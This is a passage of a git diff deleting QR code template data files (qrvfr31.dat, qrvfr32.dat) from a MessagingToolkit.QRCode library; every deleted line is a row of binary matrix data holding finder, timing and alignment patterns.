-00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10100110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -01011100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -11111010000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000100000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -11111110000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -10000010000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -10111010000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -11111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr31.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr31.dat deleted file mode 100644 index 0028f54..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr31.dat +++ /dev/null @@ -1,141 +0,0 @@ -111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111 -100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000001 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001011101 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001011101 -101110100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000011101011101 -100000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000011001000001 -111111101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -000000000000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000000000000 -000000100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000010001000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000010101000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -000010001000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000011111000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000010001000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000010101000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -000010001000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000011111000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000010001000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000010101000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -000010001000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000011111000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000010001000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000010101000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -000010001000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000011111000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -001111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -010011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000010100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000000001000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -111111100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -100000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -101110100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr32.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr32.dat deleted file mode 100644 index 2d26d15..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr32.dat +++ /dev/null @@ -1,145 +0,0 @@ -1111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010101111111 -1000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000001 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011101011101 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101011101 -1011101000000000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000001011101 -1000001000000000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000101000001 -1111111010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -0000000000000000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000000000000 -0000001000000000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000100010000000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000101010000000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -0000100010000000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000111110000000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000100010000000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000101010000000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -0000100010000000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000111110000000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000100010000000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000101010000000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -0000100010000000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000111110000000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000100010000000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000101010000000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -0000100010000000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000111110000000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 